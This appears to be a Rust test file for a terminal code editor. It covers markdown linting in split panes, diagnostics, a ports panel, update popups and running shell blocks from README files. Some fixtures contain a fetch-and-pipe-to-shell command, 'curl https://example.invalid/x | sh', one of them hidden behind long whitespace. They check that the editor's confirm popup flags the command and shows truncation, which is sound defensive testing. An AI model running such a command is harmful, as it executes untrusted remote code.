    app.editor.open_pinned(&file).unwrap();
    app.split_editor();
    // One edit per pane: the focused pane gains an MD018 heading
    // (`#Bad`), the other a harmless character, so both seqs match.
    app.editor.cursor_row = 2;
    app.editor.cursor_col = 0;
    for c in "#Bad".chars() {
        app.editor.insert_char(c);
    }
    let seq_bad = app.editor.edit_seq;
    // The split put the new, focused pane on the right; move to the left one.
    app.focus_editor_group(true);
    app.editor.cursor_row = 2;
    app.editor.cursor_col = 5;
    // A split does not copy `edit_seq`, so type harmless text until this
    // pane's count meets the other's.
    while app.editor.edit_seq < seq_bad {
        app.editor.insert_char('!');
    }
    assert_eq!(app.editor.edit_seq, seq_bad, "same seq, different text");
    assert!(!app.editor.lines.iter().any(|l| l.starts_with("#B")));
    let md018 = |app: &App| {
        app.merged_diagnostics(&file)
            .iter()
            .any(|d| d.message.contains("MD018"))
    };
    // Lint with the `#Bad` pane focused (it is walked first) ...
    app.focus_editor_group(false);
    app.sync_markdown_lint();
    assert!(md018(&app), "the focused pane has `#Bad`");
    // ... then with the clean pane focused: same seq, other text.
    app.focus_editor_group(true);
    app.sync_markdown_lint();
    assert!(
        !md018(&app),
        "the other pane has no MD018, so it must be re-linted"
    );
}

/// A `.md` held by an INACTIVE split group must still be linted. The gather
/// loop used to walk only `self.editor`, so such a tab was never linted and
/// the cleanup below then dropped its stored diagnostics while it was still
/// open - the squiggles vanished from a pane that was plainly visible.
#[test]
fn sync_markdown_lint_covers_inactive_split_groups() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("doc.md");
    std::fs::write(&file, "# Title\n\n# Second Title\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.split_editor(); // both groups hold doc.md; the new one is focused
    // Move the ACTIVE group off the markdown file, so doc.md lives only in
    // the inactive group - the case the gather loop missed. `open_pinned`
    // ADDS a tab, so the old one has to be closed or the active group still
    // holds doc.md and the bug never shows.
    let other = tmp.path().join("other.txt");
    std::fs::write(&other, "plain\n").unwrap();
    app.editor.open_pinned(&other).unwrap();
    let md_idx = app
        .editor
        .iter_tabs()
        .position(|e| e.path.as_deref() == Some(file.as_path()))
        .expect("the active group still holds doc.md before the close");
    app.editor.close_tab(md_idx);
    assert!(
        !app.editor
            .iter_tabs()
            .any(|e| e.path.as_deref() == Some(file.as_path())),
        "doc.md must now live ONLY in the inactive group"
    );

    let held_inactive = app
        .editor_layout
        .inactive_groups()
        .into_iter()
        .flat_map(|g| g.editors.iter())
        .any(|e| e.path.as_deref() == Some(file.as_path()));
    assert!(held_inactive, "the inactive group holds doc.md");

    app.sync_markdown_lint();
    assert!(
        app.merged_diagnostics(&file)
            .iter()
            .any(|d| d.message.contains("MD025")),
        "a markdown tab in an inactive pane must still be linted"
    );

    // And a second sync must not retire those diagnostics as "closed".
    app.sync_markdown_lint();
    assert!(
        app.merged_diagnostics(&file)
            .iter()
            .any(|d| d.message.contains("MD025")),
        "the tab is still open, so its diagnostics must survive the sweep"
    );
}

#[test]
fn sync_markdown_lint_skips_non_markdown_files() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "#Not a heading, this is Rust\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    assert!(!app.sync_markdown_lint());
    assert!(app.merged_diagnostics(&file).is_empty());
}

#[test]
fn merged_diagnostics_layers_every_server_for_a_file() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let file = tmp.path().join("a.py");
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("ty"),
        vec![diag(0, 1, DiagnosticSeverity::Error)],
    );
    by_server.insert(
        String::from("ruff"),
        vec![diag(2, 3, DiagnosticSeverity::Warning)],
    );
    app.lsp_diagnostics.insert(file.clone(), by_server);
    let merged = app.merged_diagnostics(&file);
    assert_eq!(
        merged.len(),
        2,
        "both servers' diagnostics must survive the merge, not clobber each other"
    );
}

#[test]
fn problems_panel_aggregates_the_store_across_files() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let a = tmp.path().join("a.rs");
    let mut s1 = std::collections::HashMap::new();
    s1.insert(
        String::from("rustc"),
        vec![
            diag(0, 1, DiagnosticSeverity::Error),
            diag(2, 3, DiagnosticSeverity::Warning),
        ],
    );
    app.lsp_diagnostics.insert(a, s1);
    let b = tmp.path().join("b.rs");
    let mut s2 = std::collections::HashMap::new();
    s2.insert(
        String::from("rustc"),
        vec![diag(0, 1, DiagnosticSeverity::Error)],
    );
    app.lsp_diagnostics.insert(b, s2);

    app.rebuild_problems();
    assert_eq!(
        app.problems.total_count(),
        3,
        "two files, three diagnostics"
    );
    assert_eq!(app.problems.error_count(), 2);
    assert_eq!(app.problems.warning_count(), 1);
}

#[test]
fn renaming_a_terminal_pane_sets_and_clears_its_label() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.begin_rename_terminal(0);
    match app.prompt.as_mut() {
        Some(p) => {
            assert!(matches!(p.kind, super::PromptKind::RenameTerminal(0)));
            p.buffer = "logs".into();
        }
        None => panic!("rename prompt did not open"),
    }
    app.commit_prompt();
    assert_eq!(
        app.terminals[0].label(),
        "logs",
        "rename sets the manual name"
    );
    // A blank rename clears the manual name (falls back to the auto label).
    app.begin_rename_terminal(0);
    app.prompt.as_mut().unwrap().buffer = "   ".into();
    app.commit_prompt();
    assert_ne!(
        app.terminals[0].label(),
        "logs",
        "blank rename clears the name"
    );
}

#[test]
fn a_second_pane_shows_its_label() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.bottom_panel_tab = BottomPanelTab::Terminal;
    app.show_terminal = true;
    // One pane => no label clutter; split to two, name the first.
    app.split_terminal().unwrap();
    app.terminals[0].set_manual_name(Some("server".into()));
    draw(&mut app, 160, 50);
    let buf_text: String = {
        let backend = ratatui::backend::TestBackend::new(160, 50);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        term.backend()
            .buffer()
            .content()
            .iter()
            .map(|c| c.symbol())
            .collect()
    };
    assert!(
        buf_text.contains("server"),
        "the named pane shows its label"
    );
}

#[test]
fn clicking_the_profile_caret_opens_an_anchored_shell_menu() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.bottom_panel_tab = BottomPanelTab::Terminal;
    app.show_terminal = true;
    draw(&mut app, 140, 50);
    let caret = *app
        .terminal_profile_buttons
        .first()
        .expect("the profile caret is rendered on the pane header");
    assert!(app.context_menu.is_none());
    left_click(&mut app, caret.x, caret.y);
    let menu = app
        .context_menu
        .as_ref()
        .expect("a context menu opens on caret click");
    // Anchored at the caret (drops one row below it), not a centered modal.
    assert_eq!(
        menu.origin,
        (caret.x, caret.y + 1),
        "the menu anchors under the caret",
    );
    // Every row launches a shell profile.
    assert!(!menu.items.is_empty(), "the menu lists shells");
    assert!(
        menu.items.iter().all(|e| matches!(
            e,
            MenuEntry::Item {
                action: MenuAction::NewTerminalWithProfile(_),
                ..
            }
        )),
        "every row opens a new terminal with a shell profile",
    );
}

#[test]
fn opening_the_profile_menu_keeps_the_welcome_logo() {
    // Regression guard for the welcome-logo bug: opening the terminal profile
    // dropdown must NOT arm the welcome image clear — clearing it blanked the
    // logo (the reported bug). The menu's own Clear paints over its cells, so
    // the cached logo stays intact behind/around the dropdown.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.welcome.mark_displayed();
    app.open_terminal_profile_picker(0);
    assert!(app.context_menu.is_some(), "the menu opens");
    assert!(
        !app.consume_welcome_image_clear(),
        "opening the profile menu must NOT evict the welcome logo",
    );
}

#[test]
fn clicking_the_ports_tab_switches_the_panel_view() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let r = app.ports_tab_rect;
    assert!(r.width > 0, "the PORTS tab must have a hit rect");
    left_click(&mut app, r.x, r.y);
    assert_eq!(
        app.bottom_panel_tab,
        BottomPanelTab::Ports,
        "a click on the PORTS tab activates that view",
    );
}

#[test]
fn a_detected_port_renders_in_the_ports_panel() {
    use crate::widgets::ports::PortOrigin;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.bottom_panel_tab = BottomPanelTab::Ports;
    app.ports
        .upsert(3000, None, Some("node".into()), PortOrigin::Local);
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer().clone();
    let text: String = buf.content().iter().map(|c| c.symbol()).collect();
    assert!(text.contains("3000"), "the detected port is listed");
    assert!(text.contains("node"), "its process is listed");
}

#[test]
fn opening_a_forwarded_remote_port_routes_to_the_local_browser_via_relay() {
    use crate::widgets::ports::{PortOrigin, PortsPanel};
    // On a remote session the local opener would run on the headless remote, so
    // a forwarded port must re-open through the relay (lands on the local Mac).
    let mut p = PortsPanel::new();
    p.upsert(3000, None, None, PortOrigin::Remote("box".into()));
    p.mark_forwarded(3000, 3001);
    let entry = p.selected().unwrap();
    match super::plan_port_open(entry, true) {
        super::PortOpenAction::OpenViaRelay(url) => assert_eq!(url, "http://127.0.0.1:3001/"),
        other => panic!("expected relay open, got {other:?}"),
    }
}

#[test]
fn opening_an_unforwarded_remote_port_forwards_first() {
    use crate::widgets::ports::{PortOrigin, PortsPanel};
    let mut p = PortsPanel::new();
    p.upsert(3000, None, None, PortOrigin::Remote("box".into()));
    let entry = p.selected().unwrap();
    assert!(matches!(
        super::plan_port_open(entry, true),
        super::PortOpenAction::Forward(3000)
    ));
}

#[test]
fn opening_a_local_port_opens_directly_not_via_relay() {
    use crate::widgets::ports::{PortOrigin, PortsPanel};
    let mut p = PortsPanel::new();
    p.upsert(8000, None, None, PortOrigin::Local);
    let entry = p.selected().unwrap();
    match super::plan_port_open(entry, false) {
        super::PortOpenAction::OpenDirect(url) => assert!(url.contains("8000"), "{url}"),
        other => panic!("expected direct open, got {other:?}"),
    }
}

#[test]
fn double_clicking_a_port_row_opens_it() {
    use crate::widgets::ports::PortOrigin;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.bottom_panel_tab = BottomPanelTab::Ports;
    // A remote, not-yet-forwarded port: opening it routes through the forward
    // path, which sets an observable status without spawning a real browser.
    app.ports
        .upsert(3000, None, None, PortOrigin::Remote("box".into()));
    draw(&mut app, 140, 50);
    let x = app.ports.last_area.x + 2;
    let y = app.ports.last_area.y + 1; // first data row
    // A single click selects the row but takes no open action.
    left_click(&mut app, x, y);
    assert!(
        !app.status.contains("orward"),
        "a single click must not open the port: {}",
        app.status
    );
    // A second click on the same row within the double-click window opens it.
    left_click(&mut app, x, y);
    assert!(
        app.status.contains("orward"),
        "a double click opens (forwards) the port: {}",
        app.status
    );
}

/// #317 beyond the terminal: the guard lives in `ClickTracker`, so every
/// surface that pairs clicks inherits it. The ports table is the cheapest one
/// to drive end to end, and it has a visible consequence - a double click
/// forwards the port - so a modified click that wrongly counted as half a
/// double would open something the user never double-clicked.
#[test]
fn a_modified_click_does_not_pair_with_a_plain_one_in_the_ports_table() {
    use crate::widgets::ports::PortOrigin;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.bottom_panel_tab = BottomPanelTab::Ports;
    app.ports
        .upsert(3000, None, None, PortOrigin::Remote("box".into()));
    draw(&mut app, 140, 50);
    let x = app.ports.last_area.x + 2;
    let y = app.ports.last_area.y + 1;

    let click_with = |app: &mut App, modifiers| {
        app.handle_mouse(crossterm::event::MouseEvent {
            kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
            column: x,
            row: y,
            modifiers,
        });
    };

    // A modified click must not ARM the pair: the plain click after it is the
    // user's first ordinary click on that row, not the second half of a
    // gesture they never made.
    click_with(&mut app, KeyModifiers::CONTROL);
    click_with(&mut app, KeyModifiers::empty());
    assert!(
        !app.status.contains("orward"),
        "a plain click after a ctrl+click must not open the port: {}",
        app.status
    );

    // And a modified click must not COMPLETE one either.
    click_with(&mut app, KeyModifiers::empty());
    app.status.clear();
    click_with(&mut app, KeyModifiers::CONTROL);
    assert!(
        !app.status.contains("orward"),
        "a ctrl+click must not complete a double-click: {}",
        app.status
    );

    // The guard must not have cost the real gesture.
    app.status.clear();
    click_with(&mut app, KeyModifiers::empty());
    click_with(&mut app, KeyModifiers::empty());
    assert!(
        app.status.contains("orward"),
        "two ordinary clicks must still open the port: {}",
        app.status
    );
}

#[test]
fn clicking_the_port_toast_dismiss_button_clears_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.show_port_toast(3000, Some("node".into()));
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // The render records the toast's clickable button rects; find Dismiss.
    let dismiss = app
        .port_toast
        .as_ref()
        .expect("toast is showing")
        .buttons
        .iter()
        .find(|(_, a)| matches!(a, super::PortToastAction::Dismiss))
        .map(|(r, _)| *r)
        .expect("the toast has a dismiss button");
    left_click(&mut app, dismiss.x, dismiss.y);
    assert!(
        app.port_toast.is_none(),
        "clicking dismiss clears the toast"
    );
}

/// #333: a newer release raises a bottom-LEFT popup that never captures
/// keys; Later dismisses it and remembers the version, so the same release
/// is not offered on the next launch.
#[test]
fn an_update_offer_raises_the_bottom_left_toast_and_later_dismisses_it() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.update_check = Some(crate::update_check::UpdateCheck::preloaded(Some(
            "9.9.9".into(),
        )));
        assert!(app.poll_update_watch(), "the offer landing is a redraw");
        let toast = app
            .update_toast
            .as_ref()
            .expect("the offer raises the toast");
        assert_eq!(toast.version, "9.9.9");
        let backend = ratatui::backend::TestBackend::new(140, 50);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let buttons = app.update_toast.as_ref().unwrap().buttons.clone();
        let update = buttons
            .iter()
            .find(|(_, a)| matches!(a, super::UpdateToastAction::Update))
            .map(|(r, _)| *r)
            .expect("an Update button");
        assert!(update.x < 70, "the popup sits bottom-left: {update:?}");
        assert!(update.y > 40, "the popup sits bottom-left: {update:?}");
        let later = buttons
            .iter()
            .find(|(_, a)| matches!(a, super::UpdateToastAction::Later))
            .map(|(r, _)| *r)
            .expect("a Later button");
        left_click(&mut app, later.x, later.y);
        assert!(app.update_toast.is_none(), "Later clears the toast");
        assert!(
            app.staged_install.is_none(),
            "Later stages nothing: the installed binary is untouched"
        );
        let cache =
            crate::update_check::CheckCache::load(&home.path().join(".cache").join("croft"));
        assert_eq!(
            cache.dismissed.as_deref(),
            Some("9.9.9"),
            "Later is remembered"
        );
    });
}

/// #333: the three update producers share one event type; a drift
/// rebuild's Failed must not be charged to the staged release build, and a
/// drift Ready must not hand Relaunch a staged binary that was never built.
#[test]
fn update_events_are_charged_to_their_own_producer() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        update_events_are_charged_to_their_own_producer_body();
    });
}

fn update_events_are_charged_to_their_own_producer_body() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let staged = tmp.path().join("never-built");
    app.staged_install = Some(crate::update_check::StagedInstall::preloaded(
        &[],
        staged.clone(),
        "9.9.9",
    ));
    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[
        crate::update_watch::UpdateEvent::Failed,
    ]));
    assert!(app.poll_update_watch());
    assert!(
        app.staged_install.is_some(),
        "the drift rebuild's failure leaves the staged build running"
    );
    assert!(
        app.self_install.is_none(),
        "the drift rebuild is the one that ended"
    );
    assert!(
        app.status.contains("rebuild failed") && !app.status.contains("9.9.9"),
        "the failure names the rebuild, not the release: {}",
        app.status
    );

    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[
        crate::update_watch::UpdateEvent::Ready,
    ]));
    assert!(app.poll_update_watch());
    assert_eq!(
        app.update_status,
        UpdateStatus::Ready,
        "F9 is armed for the rebuild"
    );
    assert_eq!(
        app.staged_update_binary(),
        None,
        "Relaunch must not swap in a staged binary that never landed"
    );
    assert!(
        !app.update_toast.as_ref().is_some_and(|t| t.ready),
        "the popup does not claim the release is ready"
    );

    // And F9 stays out of the rebuild path while the staged build holds
    // cargo's lock (#245's latch, extended).
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.local_drift = Some(String::from("abc123"));
    assert!(app.f9_update_armed(), "a drift hint arms F9");
    app.staged_install = Some(crate::update_check::StagedInstall::preloaded(
        &[],
        staged,
        "9.9.9",
    ));
    assert!(!app.f9_update_armed(), "not while a staged build runs");

    // A staged build that LANDED keeps its Relaunch through an unrelated
    // rebuild, whatever that rebuild does: the staged channel delivers one
    // Ready only, so the two lifecycles must never write each other's cell.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let landed = tmp.path().join("landed");
    std::fs::write(&landed, b"bin").unwrap();
    app.staged_install = Some(crate::update_check::StagedInstall::preloaded(
        &[
            crate::update_watch::UpdateEvent::InProgress,
            crate::update_watch::UpdateEvent::Ready,
        ],
        landed.clone(),
        "9.9.9",
    ));
    assert!(app.poll_update_watch());
    assert_eq!(
        app.staged_update_binary().as_deref(),
        Some(landed.as_path())
    );
    // The real sequence a drift rebuild emits: InProgress first, then its
    // outcome. The staged binary stays swappable throughout.
    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[
        crate::update_watch::UpdateEvent::InProgress,
    ]));
    assert!(app.poll_update_watch());
    assert_eq!(
        app.staged_update_binary().as_deref(),
        Some(landed.as_path())
    );
    assert!(app.f9_update_armed(), "F9 still relaunches mid-rebuild");
    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[
        crate::update_watch::UpdateEvent::Failed,
    ]));
    assert!(app.poll_update_watch());
    assert_eq!(
        app.staged_update_binary().as_deref(),
        Some(landed.as_path())
    );
    assert!(app.f9_update_armed(), "and after the rebuild fails");
    assert!(app.status.contains("rebuild failed"), "{}", app.status);
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let relaunch = app
        .update_toast
        .as_ref()
        .expect("the ready toast")
        .buttons
        .iter()
        .find(|(_, a)| matches!(a, super::UpdateToastAction::Relaunch))
        .map(|(r, _)| *r)
        .expect("a Relaunch button");
    left_click(&mut app, relaunch.x, relaunch.y);
    assert!(app.pending_reexec && app.quit, "Relaunch still fires");

    // The symmetric case: a drift rebuild that landed survives a staged
    // build failing.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.self_install = Some(crate::update_watch::SelfInstall::preloaded(&[
        crate::update_watch::UpdateEvent::InProgress,
        crate::update_watch::UpdateEvent::Ready,
    ]));
    assert!(app.poll_update_watch());
    app.staged_install = Some(crate::update_check::StagedInstall::preloaded(
        &[
            crate::update_watch::UpdateEvent::InProgress,
            crate::update_watch::UpdateEvent::Failed,
        ],
        tmp.path().join("nope"),
        "9.9.9",
    ));
    assert!(app.poll_update_watch());
    assert_eq!(
        app.update_status,
        UpdateStatus::Ready,
        "the rebuild's F9 is alive"
    );
    assert!(app.f9_update_armed());
    assert_eq!(app.staged_update_binary(), None);

    // Relaunch on the popup fires only for the STAGED readiness: with a
    // drift Ready and no staged one, the click does nothing.
    app.update_toast = Some(super::UpdateToast {
        version: String::from("9.9.9"),
        ready: true,
        buttons: Vec::new(),
    });
    term.draw(|f| app.render(f)).unwrap();
    let relaunch = app
        .update_toast
        .as_ref()
        .unwrap()
        .buttons
        .iter()
        .find(|(_, a)| matches!(a, super::UpdateToastAction::Relaunch))
        .map(|(r, _)| *r)
        .expect("a Relaunch button");
    left_click(&mut app, relaunch.x, relaunch.y);
    assert!(
        !app.pending_reexec,
        "no staged binary: Relaunch does not re-exec a rebuild"
    );
}

/// #333: both corner popups can be up at once; they must not overlap.
#[test]
fn the_update_toast_stacks_above_the_port_toast() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.update_toast = Some(super::UpdateToast {
        version: String::from("9.9.9"),
        ready: false,
        buttons: Vec::new(),
    });
    app.show_port_toast(3000, Some("node".into()));
    let backend = ratatui::backend::TestBackend::new(60, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let update_row = app.update_toast.as_ref().unwrap().buttons[0].0.y;
    let port_row = app.port_toast.as_ref().unwrap().buttons[0].0.y;
    assert!(
        update_row + 4 <= port_row,
        "the update popup sits a full box above the port toast: {update_row} vs {port_row}"
    );
}

/// #333: a staged build that lands turns the popup into a Relaunch offer,
/// and Relaunch is the same re-exec F9 arms - never automatic.
#[test]
fn a_staged_update_offers_relaunch_and_only_relaunch_re_execs() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let staged = tmp.path().join("staged-croft");
    app.staged_install = Some(crate::update_check::StagedInstall::preloaded(
        &[
            crate::update_watch::UpdateEvent::InProgress,
            crate::update_watch::UpdateEvent::Ready,
        ],
        staged.clone(),
        "9.9.9",
    ));
    assert!(app.poll_update_watch());
    assert_eq!(app.staged_status, UpdateStatus::Ready);
    assert!(app.any_update_ready());
    assert!(!app.pending_reexec, "landing never relaunches by itself");
    assert_eq!(
        app.staged_update_binary().as_deref(),
        Some(staged.as_path())
    );
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let relaunch = app
        .update_toast
        .as_ref()
        .expect("the ready toast")
        .buttons
        .iter()
        .find(|(_, a)| matches!(a, super::UpdateToastAction::Relaunch))
        .map(|(r, _)| *r)
        .expect("a Relaunch button");
    left_click(&mut app, relaunch.x, relaunch.y);
    assert!(app.pending_reexec && app.quit, "Relaunch arms the re-exec");
}

/// #353: a click on a shell fence's play glyph in the preview parks the
/// block behind the confirm popup (every block confirms: the README is
/// untrusted); Y types it into a pane named `<file>:<n>` in the document's
/// directory, N drops it; a `curl | sh` block makes the popup red.
/// Cmd+Enter in the source finds the fence under the caret by the parser's
/// source ranges, so identical blocks get their own numbers.
#[test]
fn clicking_a_fence_play_glyph_runs_it_in_a_named_pane() {
    let tmp = tempfile::tempdir().unwrap();
    let sub = tmp.path().join("docs");
    std::fs::create_dir_all(&sub).unwrap();
    let readme = sub.join("README.md");
    std::fs::write(
        &readme,
        "# Run me\n\n```sh\necho first\n```\n\nText between.\n\n```bash\necho second\n```\n\n```sh\ncurl https://example.invalid/x | sh\n```\n\n```sh\necho first\n```\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&readme).unwrap();
    app.toggle_markdown_preview();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let md = app.editor.markdown_preview.as_ref().expect("preview open");
    assert_eq!(md.runnables.len(), 4, "{:?}", md.runnables);
    assert_eq!(md.run_rows.len(), 4);
    let area = md.last_area;
    let glyph_row = |app: &App, i: usize| {
        let md = app.editor.markdown_preview.as_ref().unwrap();
        (area.x, area.y + md.run_rows[i] as u16)
    };
    let (gx, gy) = glyph_row(&app, 1);
    assert_eq!(
        term.backend().buffer()[(gx, gy)].symbol(),
        "\u{25b7}",
        "the second block's first row starts with the play glyph"
    );
    // A press one cell to the right is a selection, not a run.
    left_click(&mut app, gx + 1, gy);
    assert!(
        app.pending_run_block.is_none(),
        "beside the glyph is not the glyph"
    );
    let panes_before = app.terminals.len();
    left_click(&mut app, gx, gy);
    let pending = app
        .pending_run_block
        .as_ref()
        .expect("every block confirms");
    assert_eq!(pending.pane_name, "docs/README.md:2");
    assert_eq!(pending.cwd, sub, "the document's directory is the cwd");
    assert!(!pending.destructive);
    assert_eq!(app.terminals.len(), panes_before, "nothing ran yet");
    app.handle_key(key(KeyCode::Char('y'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.pending_run_block.is_none());
    assert_eq!(app.terminals.len(), panes_before + 1, "Y opens the pane");
    assert_eq!(
        app.terminals[app.active_terminal].label(),
        "docs/README.md:2"
    );
    assert!(app.status.contains("docs/README.md:2"), "{}", app.status);

    // The third block pipes the network into a shell: the popup is red.
    let (gx, gy) = glyph_row(&app, 2);
    let panes_before = app.terminals.len();
    left_click(&mut app, gx, gy);
    let pending = app
        .pending_run_block
        .as_ref()
        .expect("the confirm popup is up");
    assert_eq!(pending.pane_name, "docs/README.md:3");
    assert!(pending.destructive, "curl | sh turns the popup red");
    term.draw(|f| app.render(f)).unwrap();
    let painted: String = (0..40)
        .flat_map(|y| (0..120).map(move |x| (x, y)))
        .map(|(x, y)| term.backend().buffer()[(x, y)].symbol().to_string())
        .collect();
    assert!(
        painted.contains("LOOKS DESTRUCTIVE"),
        "the popup names the risk"
    );
    assert!(
        painted.contains("curl https://example.invalid/x | sh"),
        "and shows the block whole"
    );
    app.handle_key(key(KeyCode::Char('n'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.pending_run_block.is_none(), "N drops it");
    assert_eq!(app.terminals.len(), panes_before);

    // Cmd+Enter in the source: the fence under the caret, by source range.
    // The last block repeats the first's text and still gets its own number.
    app.toggle_markdown_preview();
    assert!(app.editor.markdown_preview.is_none());
    app.focus_pane(super::Pane::Editor);
    app.editor.cursor_row = 3; // "echo first"
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SUPER))
        .unwrap();
    let pending = app
        .pending_run_block
        .as_ref()
        .expect("Cmd+Enter confirms too");
    assert_eq!(pending.pane_name, "docs/README.md:1");
    app.handle_key(key(KeyCode::Char('n'), KeyModifiers::NONE))
        .unwrap();
    app.focus_pane(super::Pane::Editor);
    app.editor.cursor_row = 17; // the repeated "echo first"
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SUPER))
        .unwrap();
    let pending = app
        .pending_run_block
        .as_ref()
        .expect("the caret is in the fourth fence");
    assert_eq!(
        pending.pane_name, "docs/README.md:4",
        "identical blocks keep their own numbers"
    );
    app.handle_key(key(KeyCode::Char('n'), KeyModifiers::NONE))
        .unwrap();
    // Outside any fence it explains itself instead of running.
    app.focus_pane(super::Pane::Editor);
    app.editor.cursor_row = 6; // "Text between."
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SUPER))
        .unwrap();
    assert!(app.pending_run_block.is_none());
    assert!(
        app.status.contains("inside a runnable shell fence"),
        "{}",
        app.status
    );
    // Cmd+Shift+Enter is the editor's "insert line above", never a run.
    assert!(!super::is_run_fence_key(key(
        KeyCode::Enter,
        KeyModifiers::SUPER | KeyModifiers::SHIFT
    )));
    assert!(!super::is_run_fence_key(key(
        KeyCode::Enter,
        KeyModifiers::SUPER | KeyModifiers::ALT
    )));
    assert!(super::is_run_fence_key(key(
        KeyCode::Enter,
        KeyModifiers::SUPER
    )));
}

/// #353: the popup never shows a line as complete when it is not - a line
/// wider than the popup is cut with a visible mark.
#[test]
fn the_run_block_popup_marks_a_truncated_line() {
    let tmp = tempfile::tempdir().unwrap();
    let long = format!(
        "echo ok{}; curl https://example.invalid/x | sh",
        " ".repeat(120)
    );
    let readme = tmp.path().join("R.md");
    std::fs::write(&readme, format!("```sh\n{long}\n```\n")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&readme).unwrap();
    app.focus_pane(super::Pane::Editor);
    app.editor.cursor_row = 1;
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SUPER))
        .unwrap();
    let pending = app.pending_run_block.as_ref().expect("confirm popup");
    assert_eq!(
        pending.pane_name, "R.md:1",
        "a top-level document keeps its bare name"
    );
    assert!(pending.destructive);
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let painted: Vec<String> = (0..30)
        .map(|y| {
            (0..100)
                .map(|x| term.backend().buffer()[(x, y)].symbol().to_string())
                .collect()
        })
        .collect();
    // The editor paints the source line too; the popup's copy is the one
    // that carries the mark.
    let popup_line = painted
        .iter()
        .find(|l| l.contains("echo ok") && l.contains('\u{2026}'))
        .unwrap_or_else(|| {
            panic!(
                "the popup shows the cut line with a mark:\n{}",
                painted.join("\n")
            )
        });
    assert!(
        !popup_line.contains("| sh"),
        "the hidden tail is not shown as complete: {popup_line:?}"
    );
}

#[test]
fn fence_command_shapes_the_typed_block() {
    assert_eq!(
        super::fence_command("sh", "echo a\necho b\n"),
        "echo a\necho b\r"
    );
    assert_eq!(
        super::fence_command("python3", "print(1)\n"),
        "python3 - <<'CROFT_BLOCK'\nprint(1)\nCROFT_BLOCK\r"
    );
